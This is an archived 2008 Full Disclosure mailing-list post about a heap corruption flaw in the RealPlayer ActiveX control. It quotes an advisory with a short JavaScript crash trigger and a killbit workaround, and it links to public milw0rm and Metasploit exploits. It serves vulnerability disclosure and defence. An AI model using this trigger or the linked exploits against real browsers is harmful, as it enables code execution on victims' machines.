Home page logo
/

fulldisclosure logo Full Disclosure mailing list archives

Re: Real Networks RealPlayer ActiveX Control Heap Corruption
From: "Elazar Broad" <elazar () hushmail com>
Date: Tue, 01 Apr 2008 11:46:34 -0400

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Now that this is patched...

http://milw0rm.com/exploits/5332
http://metasploit.com/svn/framework3/trunk/modules/exploits/windows/
browser/realplayer_console.rb

Elazar


On Mon, 10 Mar 2008 01:50:57 -0400 Elazar Broad
<elazar () hushmail com> wrote:
Who:
Real Networks
http://www.real.com

What:
Real Networks Real Player is a popular media player.

How:
Real Player utilizes an ActiveX control to play content within the
users browser.

rmoc3260.dll version 6.0.10.45
{2F542A2E-EDC9-4BF7-8CB1-87C9919F7F93}
{CFCDAA03-8BE4-11CF-B84B-0020AFBBCCFA}

It is possible to modify heap blocks after they are freed and
overwrite certain registers, possibly allowing code execution.
Like
so:

------------
var buf = '';
while (buf.length < 1005) buf = buf + 'A';

m = obj.Console;
obj.Console = buf;
obj.Console = m

//repeat
m = obj.Console;
obj.Console = buf;
obj.Console = m --> Should crash here
-------------

Workaround:
Set the killbit for this control. See
http://support.microsoft.com/kb/240797

Fix:
No official fix known

Exploit:
Working on it

Elazar
-----BEGIN PGP SIGNATURE-----
Charset: UTF8
Note: This signature can be verified at https://www.hushtools.com/verify
Version: Hush 3.0

wpwEAQECAAYFAkfyWNoACgkQi04xwClgpZgyVgP+N7kKGC7cD/1qnnauXIi30j+fmEbK
sIe+tOWjTSUKcoTZsoFLiQYd3tKu/t+mauZSi1msUaPgjHu1Or/laRU3Wgw008lnLAmC
lT4O/tjlZP6luuzxCHyDrY6p5ze4sb4uDukKnGVHqpNMDoK/s0TFD/fZiaBdc7ZFvL9o
4Y6w7ZY=
=IpM9
-----END PGP SIGNATURE-----

--
Click here for free info on Graduate Degrees.
http://tagline.hushmail.com/fc/Ioyw6h4eSposuNJokZ1ABDCgGd9ckObZCsDzUVQlPhlov4Mrkal8uM/

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


  By Date           By Thread  

Current thread:
  • Re: Real Networks RealPlayer ActiveX Control Heap Corruption Elazar Broad (Apr 01)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]
AlienVault